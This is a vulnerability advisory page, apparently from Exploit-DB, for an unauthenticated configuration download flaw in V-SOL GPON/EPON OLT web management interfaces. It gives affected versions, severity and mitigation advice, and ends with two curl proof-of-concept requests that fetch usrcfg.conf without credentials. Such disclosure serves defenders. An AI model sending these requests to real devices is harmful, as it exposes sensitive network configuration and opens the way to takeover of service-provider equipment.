V-SOL GPON/EPON OLT Platform 2.03 - Unauthenticated Configuration Download

vendor:

GPON/EPON OLT Platform

by:

LiquidWorm

8.8

CVSS

HIGH

Unauthenticated Configuration Download and Information Disclosure

200

CWE

Product Name: GPON/EPON OLT Platform

Affected Version From: V2.03.62R_IPv6

Affected Version To: V1.4

Patch Exists: YES

Related CWE: N/A

CPE: h:guangzhou_v-solution_electronic_technology:gpon/epon_olt_platform

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: GoAhead-Webs

2019

V-SOL GPON/EPON OLT Platform 2.03 – Unauthenticated Configuration Download

The device OLT Web Management Interface is vulnerable to unauthenticated configuration download and information disclosure vulnerability when direct object reference is made to the usrcfg.conf file using an HTTP GET method. This will enable the attacker to disclose sensitive information and help her in authentication bypass, privilege escalation and/or full system access.

Mitigation:

Ensure that the device is not exposed to the public internet and is behind a firewall. Ensure that the device is running the latest version of the firmware.

Source

Exploit-DB raw data:

# Title: V-SOL GPON/EPON OLT Platform 2.03 - Unauthenticated Configuration Download
# Date: 2019-09-27
# Author: LiquidWorm
# Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.
# Product web page: https://www.vsolcn.com
# Affected version: V2.03.62R_IPv6
# V2.03.54R
# V2.03.52R
# V2.03.49
# V2.03.47
# V2.03.40
# V2.03.26
# V2.03.24
# V1.8.6
# V1.4

Summary: GPON is currently the leading FTTH standard in broadband access
technology being widely deployed by service providers around the world.
GPON/EPON OLT products are 1U height 19 inch rack mount products. The
features of the OLT are small, convenient, flexible, easy to deploy, high
performance. It is appropriate to be deployed in compact room environment.
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and
ICT applications.

Desc: The device OLT Web Management Interface is vulnerable to unauthenticated
configuration download and information disclosure vulnerability when direct
object reference is made to the usrcfg.conf file using an HTTP GET method. This
will enable the attacker to disclose sensitive information and help her in
authentication bypass, privilege escalation and/or full system access.

Tested on: GoAhead-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5534
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5534.php

25.09.2019

--
# PoC

1# curl http://192.168.8.200/device/usrcfg.conf
2# curl http://192.168.8.201/action/usrcfg.conf